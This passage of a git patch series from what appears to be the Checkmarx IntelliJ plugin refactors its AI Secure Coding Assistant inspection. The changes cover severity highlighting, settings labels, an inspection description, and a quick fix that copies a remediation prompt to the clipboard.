highlightType = determineHighlightType(detail); + + return manager.createProblemDescriptor( + file, problemRange, description, highlightType, isOnTheFly, new AscaQuickFix(detail.getRemediationAdvise()) + ); + } + + private TextRange getTextRangeForLine(Document document, int lineNumber) { + int startOffset = document.getLineStartOffset(lineNumber - 1); + int endOffset = Math.min(document.getLineEndOffset(lineNumber - 1), document.getTextLength()); + return new TextRange(startOffset, endOffset); + } + + private boolean isLineOutOfRange(int lineNumber, Document document) { + return lineNumber <= 0 || lineNumber > document.getLineCount(); + } + + private boolean isInvalidScan(ScanResult scanResult) { + return scanResult == null || scanResult.getScanDetails() == null; } private ProblemHighlightType determineHighlightType(ScanDetail detail) { - // Example logic: adjust based on severity level in ScanDetail String severity = detail.getSeverity(); - switch (severity) { case Constants.ASCA_CRITICAL_SEVERITY: - return ProblemHighlightType.GENERIC_ERROR; case Constants.ASCA_HIGH_SEVERITY: - return ProblemHighlightType.GENERIC_ERROR; // Error for high-severity issues + return ProblemHighlightType.GENERIC_ERROR; case Constants.ASCA_MEDIUM_SEVERITY: - return ProblemHighlightType.WARNING; // Warning for medium severity + return ProblemHighlightType.WARNING; case Constants.ASCA_LOW_SEVERITY: - return ProblemHighlightType.WEAK_WARNING; // Weak warning for low severity default: - return ProblemHighlightType.WEAK_WARNING; // Weak warning for low severity or unknown severity + return ProblemHighlightType.WEAK_WARNING; } } private ScanResult performAscaScan(PsiFile file) { - // Perform the ASCA scan here using the AscaService - return new AscaService().runAscaScan(file, file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); + return new AscaService().runAscaScan(file, file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); + } + + public @NotNull String getDescriptionTemplate(ScanDetail detail) { + return String.format( + "ASCA Issue: %s\nRemediation: %s", + detail.getRuleName(), + detail.getRemediationAdvise().replace("\n", "
") + ); } } diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java new file mode 100644 index 00000000..724245fe --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -0,0 +1,31 @@ +package com.checkmarx.intellij.inspections.quickfixes; + +import com.intellij.codeInspection.LocalQuickFix; +import com.intellij.codeInspection.ProblemDescriptor; +import com.intellij.openapi.project.Project; +import com.intellij.psi.PsiElement; +import com.intellij.psi.PsiFile; +import com.intellij.psi.PsiDocumentManager; +import com.intellij.openapi.editor.Document; +import org.jetbrains.annotations.NotNull; + +public class AscaQuickFix implements LocalQuickFix { + + String remediationAdvice; + + public AscaQuickFix(String remediationAdvice) { + this.remediationAdvice = remediationAdvice; + } + + @Override + public @NotNull String getFamilyName() { + return remediationAdvice; + } + + @Override + public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { + + } + + +} From d7c9f9362e3ce5b39dca2d8c224181387283eba5 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 12:46:18 +0300 Subject: [PATCH 16/38] refactor code --- .../intellij/inspections/AscaInspection.java | 5 ++-- .../global/GlobalSettingsComponent.java | 26 +++++++++---------- 2 files changed, 14 insertions(+), 17 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index ba5bbfe2..78f0218d 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -19,7 +19,7 @@ public class AscaInspection extends LocalInspectionTool { private final GlobalSettingsState settings = GlobalSettingsState.getInstance(); @Override - public ProblemDescriptor @NotNull[] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { + public ProblemDescriptor @NotNull [] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { if (!settings.isAsca()) { return ProblemDescriptor.EMPTY_ARRAY; } @@ -62,8 +62,7 @@ private ProblemDescriptor createProblemDescriptor(@NotNull PsiFile file, @NotNul ProblemHighlightType highlightType = determineHighlightType(detail); return manager.createProblemDescriptor( - file, problemRange, description, highlightType, isOnTheFly, new AscaQuickFix(detail.getRemediationAdvise()) - ); + file, problemRange, description, highlightType, isOnTheFly, (LocalQuickFix) null); } private TextRange getTextRangeForLine(Document document, int lineNumber) { diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index 138c02cb..9fe8d955 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -1,6 +1,5 @@ package com.checkmarx.intellij.settings.global; -import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.ast.wrapper.CxConfig; import com.checkmarx.ast.wrapper.CxException; import com.checkmarx.intellij.ASCA.AscaService; @@ -8,7 +7,6 @@ import com.checkmarx.intellij.Constants; import com.checkmarx.intellij.Resource; import com.checkmarx.intellij.Utils; -import com.checkmarx.intellij.commands.ASCA; import com.checkmarx.intellij.commands.Authentication; import com.checkmarx.intellij.components.CxLinkLabel; import com.checkmarx.intellij.settings.SettingsComponent; @@ -53,7 +51,7 @@ public class GlobalSettingsComponent implements SettingsComponent { private final JButton validateButton = new JButton(Bundle.message(Resource.VALIDATE_BUTTON)); private final JBLabel validateResult = new JBLabel(); private final JBCheckBox ascaCheckBox = new JBCheckBox(Bundle.message(Resource.ASCA_CHECKBOX)); - private final JBLabel ascaRunning = new JBLabel(); + private final JBLabel ascaInstallationMsg = new JBLabel(); public GlobalSettingsComponent() { @@ -96,7 +94,7 @@ public void reset() { apiKeyField.setText(SENSITIVE_SETTINGS_STATE.getApiKey()); validateResult.setVisible(false); - ascaRunning.setVisible(false); + ascaInstallationMsg.setVisible(false); } /** @@ -159,8 +157,7 @@ private void addValidateConnectionListener() { private void addAscaCheckBoxListener() { ascaCheckBox.addItemListener(e -> { if (e.getStateChange() != ItemEvent.SELECTED) { - ascaRunning.setVisible(false); - LOGGER.debug("ASCA checkbox deselected."); + ascaInstallationMsg.setVisible(false); return; } @@ -173,20 +170,21 @@ private void runAscaScanInBackground() { @Override protected Void doInBackground() { try { - ascaRunning.setVisible(false); + ascaInstallationMsg.setVisible(false); String ascaMsg = new AscaService().installAsca(); LOGGER.info(ascaMsg); - setAscaRunning(ascaMsg, JBColor.GREEN); + setAscaInstallationMsg(ascaMsg, JBColor.GREEN); } catch (IOException | URISyntaxException | InterruptedException ex) { LOGGER.warn(Bundle.message(Resource.ASCA_SCAN_WARNING), ex); + setAscaInstallationMsg(ex.getMessage(), JBColor.RED); } catch (CxException | CxConfig.InvalidCLIConfigException ex) { String msg = ex.getMessage().trim(); int lastLineIndex = Math.max(msg.lastIndexOf('\n'), 0); - setAscaRunning(msg.substring(lastLineIndex).trim(), JBColor.RED); + setAscaInstallationMsg(msg.substring(lastLineIndex).trim(), JBColor.RED); LOGGER.warn(Bundle.message(Resource.ASCA_SCAN_WARNING, msg.substring(lastLineIndex).trim())); } finally { if (ascaCheckBox.isSelected()) { - ascaRunning.setVisible(true); + ascaInstallationMsg.setVisible(true); } } return null; @@ -210,9 +208,9 @@ private void setValidationResult(String message, JBColor color) { validateResult.setForeground(color); } - private void setAscaRunning(String message, JBColor color) { - ascaRunning.setText(String.format("%s", message)); - ascaRunning.setForeground(color); + private void setAscaInstallationMsg(String message, JBColor color) { + ascaInstallationMsg.setText(String.format("%s", message)); + ascaInstallationMsg.setForeground(color); } /** @@ -237,7 +235,7 @@ private void buildGUI() { // Add ASCA checkbox addSectionHeader(Resource.ASCA_DESCRIPTION); mainPanel.add(ascaCheckBox); - mainPanel.add(ascaRunning, "gapleft 5, wrap"); + mainPanel.add(ascaInstallationMsg, "gapleft 5, wrap"); mainPanel.add(validateButton, "sizegroup bttn, gaptop 30"); mainPanel.add(validateResult, "gapleft 5, gaptop 30"); From e103d4dba1d71a5884d6752ba688e23af28442bb Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 13:00:44 +0300 Subject: [PATCH 17/38] refactor code --- .../intellij/inspections/AscaInspection.java | 27 ++++++++++--------- .../global/GlobalSettingsComponent.java | 3 +++ 2 files changed, 18 insertions(+), 12 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index 78f0218d..334f4b71 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -4,7 +4,6 @@ import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.Constants; -import com.checkmarx.intellij.inspections.quickfixes.AscaQuickFix; import com.checkmarx.intellij.settings.global.GlobalSettingsState; import com.intellij.codeInspection.*; import com.intellij.openapi.editor.Document; @@ -13,10 +12,13 @@ import org.jetbrains.annotations.NotNull; import java.util.ArrayList; +import java.util.HashMap; import java.util.List; +import java.util.Map; public class AscaInspection extends LocalInspectionTool { private final GlobalSettingsState settings = GlobalSettingsState.getInstance(); + private Map severityToHighlightMap; @Override public ProblemDescriptor @NotNull [] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { @@ -80,17 +82,18 @@ private boolean isInvalidScan(ScanResult scanResult) { } private ProblemHighlightType determineHighlightType(ScanDetail detail) { - String severity = detail.getSeverity(); - switch (severity) { - case Constants.ASCA_CRITICAL_SEVERITY: - case Constants.ASCA_HIGH_SEVERITY: - return ProblemHighlightType.GENERIC_ERROR; - case Constants.ASCA_MEDIUM_SEVERITY: - return ProblemHighlightType.WARNING; - case Constants.ASCA_LOW_SEVERITY: - default: - return ProblemHighlightType.WEAK_WARNING; + return getSeverityToHighlightMap().getOrDefault(detail.getSeverity(), ProblemHighlightType.WEAK_WARNING); + } + + private Map getSeverityToHighlightMap() { + if (severityToHighlightMap == null) { + severityToHighlightMap = new HashMap<>(); + severityToHighlightMap.put(Constants.ASCA_CRITICAL_SEVERITY, ProblemHighlightType.GENERIC_ERROR); + severityToHighlightMap.put(Constants.ASCA_HIGH_SEVERITY, ProblemHighlightType.GENERIC_ERROR); + severityToHighlightMap.put(Constants.ASCA_MEDIUM_SEVERITY, ProblemHighlightType.WARNING); + severityToHighlightMap.put(Constants.ASCA_LOW_SEVERITY, ProblemHighlightType.WEAK_WARNING); } + return severityToHighlightMap; } private ScanResult performAscaScan(PsiFile file) { @@ -99,7 +102,7 @@ private ScanResult performAscaScan(PsiFile file) { public @NotNull String getDescriptionTemplate(ScanDetail detail) { return String.format( - "ASCA Issue: %s\nRemediation: %s", + "ASCA: %s\nRemediation advise: %s", detail.getRuleName(), detail.getRemediationAdvise().replace("\n", "
") ); diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index 9fe8d955..7f0fa91c 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -135,6 +135,9 @@ private void addValidateConnectionListener() { setValidationResult(Bundle.message(Resource.VALIDATE_IN_PROGRESS), JBColor.GREEN); CompletableFuture.runAsync(() -> { try { + if (ascaCheckBox.isSelected()) { + runAscaScanInBackground(); + } Authentication.validateConnection(getStateFromFields(), getSensitiveStateFromFields()); setValidationResult(Bundle.message(Resource.VALIDATE_SUCCESS), JBColor.GREEN); From 7a5d4e7f17ace692b9e0dae8df99f00a588c5686 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 15:10:04 +0300 Subject: [PATCH 18/38] refactor code --- .../resources/inspectionDescriptions/{Asca.html => ASCA.html} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename src/main/resources/inspectionDescriptions/{Asca.html => ASCA.html} (70%) diff --git a/src/main/resources/inspectionDescriptions/Asca.html b/src/main/resources/inspectionDescriptions/ASCA.html similarity index 70% rename from src/main/resources/inspectionDescriptions/Asca.html rename to src/main/resources/inspectionDescriptions/ASCA.html index 2d2a3c1b..b228d318 100644 --- a/src/main/resources/inspectionDescriptions/Asca.html +++ b/src/main/resources/inspectionDescriptions/ASCA.html @@ -1,6 +1,6 @@ -Highlights results from Checkmarx AI Secure Coding Assistant. +Highlights results from Checkmarx AI Secure Code Assistant. From 32b94e20b99000ce721d5ebd83e3650eecd23771 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 16:06:24 +0300 Subject: [PATCH 19/38] fix inspections description from jetbrains settings --- src/main/resources/META-INF/plugin.xml | 5 ++--- src/main/resources/inspectionDescriptions/ASCA.html | 9 --------- src/main/resources/inspectionDescriptions/Asca.html | 10 ++++++++++ 3 files changed, 12 insertions(+), 12 deletions(-) delete mode 100644 src/main/resources/inspectionDescriptions/ASCA.html create mode 100644 src/main/resources/inspectionDescriptions/Asca.html diff --git a/src/main/resources/META-INF/plugin.xml b/src/main/resources/META-INF/plugin.xml index 357ff9a9..993dddd2 100644 --- a/src/main/resources/META-INF/plugin.xml +++ b/src/main/resources/META-INF/plugin.xml @@ -37,12 +37,11 @@ level="WARNING" implementationClass="com.checkmarx.intellij.inspections.CxInspection"/> + enabledByDefault="true" + implementationClass="com.checkmarx.intellij.inspections.AscaInspection"/> diff --git a/src/main/resources/inspectionDescriptions/ASCA.html b/src/main/resources/inspectionDescriptions/ASCA.html deleted file mode 100644 index b228d318..00000000 --- a/src/main/resources/inspectionDescriptions/ASCA.html +++ /dev/null @@ -1,9 +0,0 @@ - - -Highlights results from Checkmarx AI Secure Code Assistant. - - - - - - diff --git a/src/main/resources/inspectionDescriptions/Asca.html b/src/main/resources/inspectionDescriptions/Asca.html new file mode 100644 index 00000000..906b2d1a --- /dev/null +++ b/src/main/resources/inspectionDescriptions/Asca.html @@ -0,0 +1,10 @@ + + +

Highlights results from Checkmarx AI Secure Code Assistant.

+ + + +

This inspection helps identify security best practice violations detected by the Checkmarx AI Secure Code Assistant.

+ + + From d359aa55a370c5041c1bab409a2004b5a4e6584e Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 16:14:39 +0300 Subject: [PATCH 20/38] delete quickfix --- .../inspections/quickfixes/AscaQuickFix.java | 31 ------------------- 1 file changed, 31 deletions(-) delete mode 100644 src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java deleted file mode 100644 index 724245fe..00000000 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ /dev/null @@ -1,31 +0,0 @@ -package com.checkmarx.intellij.inspections.quickfixes; - -import com.intellij.codeInspection.LocalQuickFix; -import com.intellij.codeInspection.ProblemDescriptor; -import com.intellij.openapi.project.Project; -import com.intellij.psi.PsiElement; -import com.intellij.psi.PsiFile; -import com.intellij.psi.PsiDocumentManager; -import com.intellij.openapi.editor.Document; -import org.jetbrains.annotations.NotNull; - -public class AscaQuickFix implements LocalQuickFix { - - String remediationAdvice; - - public AscaQuickFix(String remediationAdvice) { - this.remediationAdvice = remediationAdvice; - } - - @Override - public @NotNull String getFamilyName() { - return remediationAdvice; - } - - @Override - public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { - - } - - -} From 72392d00224472767d332d06897c23659d5eb8ff Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 17:55:16 +0300 Subject: [PATCH 21/38] added asca quick fix - coping prompt --- .../intellij/inspections/AscaInspection.java | 14 ++--- .../inspections/quickfixes/AscaQuickFix.java | 63 +++++++++++++++++++ 2 files changed, 67 insertions(+), 10 deletions(-) create mode 100644 src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index 334f4b71..a574111e 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -4,10 +4,12 @@ import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.inspections.quickfixes.AscaQuickFix; import com.checkmarx.intellij.settings.global.GlobalSettingsState; import com.intellij.codeInspection.*; import com.intellij.openapi.editor.Document; import com.intellij.openapi.util.TextRange; +import com.intellij.openapi.util.text.Strings; import com.intellij.psi.*; import org.jetbrains.annotations.NotNull; @@ -60,11 +62,11 @@ private ProblemDescriptor[] createProblemDescriptors(@NotNull PsiFile file, @Not private ProblemDescriptor createProblemDescriptor(@NotNull PsiFile file, @NotNull InspectionManager manager, ScanDetail detail, Document document, int lineNumber, boolean isOnTheFly) { TextRange problemRange = getTextRangeForLine(document, lineNumber); - String description = getDescriptionTemplate(detail); + String description = Strings.join(detail.getRuleName(), " - ", detail.getRemediationAdvise()); ProblemHighlightType highlightType = determineHighlightType(detail); return manager.createProblemDescriptor( - file, problemRange, description, highlightType, isOnTheFly, (LocalQuickFix) null); + file, problemRange, description, highlightType, isOnTheFly, new AscaQuickFix(detail)); } private TextRange getTextRangeForLine(Document document, int lineNumber) { @@ -99,12 +101,4 @@ private Map getSeverityToHighlightMap() { private ScanResult performAscaScan(PsiFile file) { return new AscaService().runAscaScan(file, file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); } - - public @NotNull String getDescriptionTemplate(ScanDetail detail) { - return String.format( - "ASCA: %s\nRemediation advise: %s", - detail.getRuleName(), - detail.getRemediationAdvise().replace("\n", "
") - ); - } } diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java new file mode 100644 index 00000000..7fa1c4ff --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -0,0 +1,63 @@ +package com.checkmarx.intellij.inspections.quickfixes; + +import com.intellij.notification.Notification; +import com.intellij.notification.NotificationGroupManager; +import com.intellij.notification.NotificationType; +import com.intellij.openapi.project.Project; +import com.intellij.openapi.application.ApplicationManager; +import com.checkmarx.ast.asca.ScanDetail; +import com.intellij.codeInspection.LocalQuickFix; +import com.intellij.codeInspection.ProblemDescriptor; +import com.intellij.codeInspection.util.IntentionFamilyName; +import org.jetbrains.annotations.NotNull; + +import java.awt.*; +import java.awt.datatransfer.StringSelection; + +public class AscaQuickFix implements LocalQuickFix { + private final ScanDetail detail; + + public AscaQuickFix(ScanDetail detail) { + this.detail = detail; + } + + @Override + public @IntentionFamilyName @NotNull String getFamilyName() { + return "Copy fix prompt"; + } + + @Override + public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { + // Retrieve the problematic line and the description + String problematicLine = detail.getProblematicLine(); + String description = descriptor.getDescriptionTemplate(); + + // Generate a prompt for GPT + String prompt = generateFixPrompt(problematicLine, description); + + // Copy the prompt to the system clipboard + copyToClipboard(prompt); + + // Show a notification to the user indicating that the prompt was copied + showNotification(project); + } + + private void showNotification(Project project) { + ApplicationManager.getApplication().invokeLater(() -> { + Notification notification = NotificationGroupManager.getInstance() + .getNotificationGroup("Checkmarx.Notifications") + .createNotification("Fix prompt copied", "The fix prompt has been successfully copied to the clipboard.", NotificationType.INFORMATION); + notification.notify(project); + }); + } + + private String generateFixPrompt(String problematicLine, String description) { + return String.format("Fix the following issue:\n\nProblematic line:\n%s\n\nDescription:\n%s", + problematicLine, description); + } + + private void copyToClipboard(String prompt) { + StringSelection stringSelection = new StringSelection(prompt); + Toolkit.getDefaultToolkit().getSystemClipboard().setContents(stringSelection, null); + } +} From ccc1d58d7e8c31bed0e843483093de14b92b418d Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 18:13:18 +0300 Subject: [PATCH 22/38] upgrade prompt --- .../intellij/inspections/quickfixes/AscaQuickFix.java | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index 7fa1c4ff..e376f267 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -52,8 +52,13 @@ private void showNotification(Project project) { } private String generateFixPrompt(String problematicLine, String description) { - return String.format("Fix the following issue:\n\nProblematic line:\n%s\n\nDescription:\n%s", - problematicLine, description); + return String.format( + "Please address the following issue:\n\n" + + "Code snippet with potential issue:\n%s\n\n" + + "Issue description:\n%s\n\n" + + "Provide a fix to make this code safer and more secure.", + problematicLine, description + ); } private void copyToClipboard(String prompt) { From fb63e3326ccaf41488bdb081b89a67873e6bd487 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 18:19:06 +0300 Subject: [PATCH 23/38] trim problematic line and description for prompt --- .../checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index e376f267..a59b36c7 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -57,7 +57,7 @@ private String generateFixPrompt(String problematicLine, String description) { "Code snippet with potential issue:\n%s\n\n" + "Issue description:\n%s\n\n" + "Provide a fix to make this code safer and more secure.", - problematicLine, description + problematicLine.trim(), description.trim() ); } From fa42a0364e14edec70cc06a04e0ce06b36f4ffaa Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 18:26:27 +0300 Subject: [PATCH 24/38] added annotation to scanDetail feild in AscaQuickFix --- .../checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index a59b36c7..565a3ee0 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -15,6 +15,7 @@ import java.awt.datatransfer.StringSelection; public class AscaQuickFix implements LocalQuickFix { + @SafeFieldForPreview private final ScanDetail detail; public AscaQuickFix(ScanDetail detail) { From 57c7a35416cd93e5f342d88b9766a6cce816039a Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 18:30:47 +0300 Subject: [PATCH 25/38] add try catch to copyToClipboard --- .../inspections/quickfixes/AscaQuickFix.java | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index 565a3ee0..1a41a730 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -40,14 +40,14 @@ public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descri copyToClipboard(prompt); // Show a notification to the user indicating that the prompt was copied - showNotification(project); + showNotification(project, "The fix prompt has been successfully copied to the clipboard.", NotificationType.INFORMATION); } - private void showNotification(Project project) { + private void showNotification(Project project, String message, NotificationType type) { ApplicationManager.getApplication().invokeLater(() -> { Notification notification = NotificationGroupManager.getInstance() .getNotificationGroup("Checkmarx.Notifications") - .createNotification("Fix prompt copied", "The fix prompt has been successfully copied to the clipboard.", NotificationType.INFORMATION); + .createNotification("Fix prompt copied", message, type); notification.notify(project); }); } @@ -64,6 +64,11 @@ private String generateFixPrompt(String problematicLine, String description) { private void copyToClipboard(String prompt) { StringSelection stringSelection = new StringSelection(prompt); - Toolkit.getDefaultToolkit().getSystemClipboard().setContents(stringSelection, null); + try { + Toolkit.getDefaultToolkit().getSystemClipboard().setContents(stringSelection, null); + } + catch (Exception e) { + showNotification(null, "Failed to copy the fix prompt to the clipboard.", NotificationType.ERROR); + } } } From 962e6c3e5445663e06390fec012632faddaf5c6b Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 18:44:16 +0300 Subject: [PATCH 26/38] fix asca problem --- .../com/checkmarx/intellij/project/ProjectResultsService.java | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/main/java/com/checkmarx/intellij/project/ProjectResultsService.java b/src/main/java/com/checkmarx/intellij/project/ProjectResultsService.java index 6935926d..0f03201b 100644 --- a/src/main/java/com/checkmarx/intellij/project/ProjectResultsService.java +++ b/src/main/java/com/checkmarx/intellij/project/ProjectResultsService.java @@ -11,6 +11,7 @@ import java.nio.file.Paths; import java.util.*; import java.util.concurrent.CompletableFuture; +import java.util.logging.Level; /** * Service for indexing results of a scan in a given project @@ -100,7 +101,8 @@ public List getResultsForFileAndLine(Project project, nodes = nodesForLine; } } - } catch (IllegalArgumentException ignored) { + } catch (IllegalArgumentException e) { + LOGGER.warn("Failed to relativize path: " + file, e); } } return nodes; From 98f1a48e515b48ff577cc30b65544a62cd637355 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 18:54:13 +0300 Subject: [PATCH 27/38] add documentation --- .../checkmarx/intellij/ASCA/AscaService.java | 38 +++++++++- .../intellij/inspections/AscaInspection.java | 71 ++++++++++++++++++- .../inspections/quickfixes/AscaQuickFix.java | 40 ++++++++++- 3 files changed, 145 insertions(+), 4 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java index dc5abfd0..263505d5 100644 --- a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -20,16 +20,28 @@ import java.nio.file.Path; import java.nio.file.Paths; +/** + * Service class for handling ASCA (Application Security Code Analysis) operations. + */ public class AscaService { private static final String ASCA_DIR = "CxASCA"; private static final Logger LOGGER = Logger.getInstance(AscaService.class); + /** + * Default constructor for AscaService. + */ public AscaService() { } /** * Runs the ASCA scan on the provided file and returns the ScanResult. + * + * @param file the file to scan + * @param project the current project + * @param ascLatestVersion whether to use the latest version of ASCA + * @param agent the agent name + * @return the scan result, or null if an error occurs */ @Nullable public ScanResult runAscaScan(PsiFile file, Project project, boolean ascLatestVersion, String agent) { @@ -65,6 +77,10 @@ public ScanResult runAscaScan(PsiFile file, Project project, boolean ascLatestVe /** * Gets the file content, either from in-memory document or from disk. + * + * @param file the file to get content from + * @param project the current project + * @return the file content as a string, or null if an error occurs */ @Nullable private String getFileContent(PsiFile file, Project project) { @@ -84,6 +100,9 @@ private String getFileContent(PsiFile file, Project project) { /** * Handles the scan result, logs any errors or violations. + * + * @param file the file that was scanned + * @param scanResult the result of the scan */ private void handleScanResult(PsiFile file, ScanResult scanResult) { if (scanResult == null || scanResult.getError() != null) { @@ -105,9 +124,12 @@ private void handleScanResult(PsiFile file, ScanResult scanResult) { } } - /** * Saves content to a temporary file. + * + * @param fileName the name of the file + * @param content the content to save + * @return the path to the temporary file, or null if an error occurs */ @Nullable private String saveTempFile(String fileName, String content) { @@ -126,6 +148,8 @@ private String saveTempFile(String fileName, String content) { /** * Deletes a file by the given file path. + * + * @param filePath the path to the file to delete */ private void deleteFile(String filePath) { try { @@ -143,6 +167,9 @@ private void deleteFile(String filePath) { /** * Determines whether the file should be ignored. + * + * @param file the file to check + * @return true if the file should be ignored, false otherwise */ private boolean ignoreFiles(VirtualFile file) { return !file.isInLocalFileSystem(); @@ -150,6 +177,13 @@ private boolean ignoreFiles(VirtualFile file) { /** * Installs the ASCA CLI if not already installed. + * + * @return a message indicating the result of the installation + * @throws CxException if an error occurs during installation + * @throws CxConfig.InvalidCLIConfigException if the CLI configuration is invalid + * @throws IOException if an I/O error occurs + * @throws URISyntaxException if a URI syntax error occurs + * @throws InterruptedException if the installation is interrupted */ public String installAsca() throws CxException, CxConfig.InvalidCLIConfigException, IOException, URISyntaxException, InterruptedException { ScanResult res = ASCA.installAsca(); @@ -159,4 +193,4 @@ public String installAsca() throws CxException, CxConfig.InvalidCLIConfigExcepti } return "AI Secure Coding Assistant started."; } -} +} \ No newline at end of file diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index a574111e..ac0b9309 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -18,10 +18,21 @@ import java.util.List; import java.util.Map; +/** + * Inspection tool for ASCA (AI Secure Coding Assistant). + */ public class AscaInspection extends LocalInspectionTool { private final GlobalSettingsState settings = GlobalSettingsState.getInstance(); private Map severityToHighlightMap; + /** + * Checks the file for ASCA issues. + * + * @param file the file to check + * @param manager the inspection manager + * @param isOnTheFly whether the inspection is on-the-fly + * @return an array of problem descriptors + */ @Override public 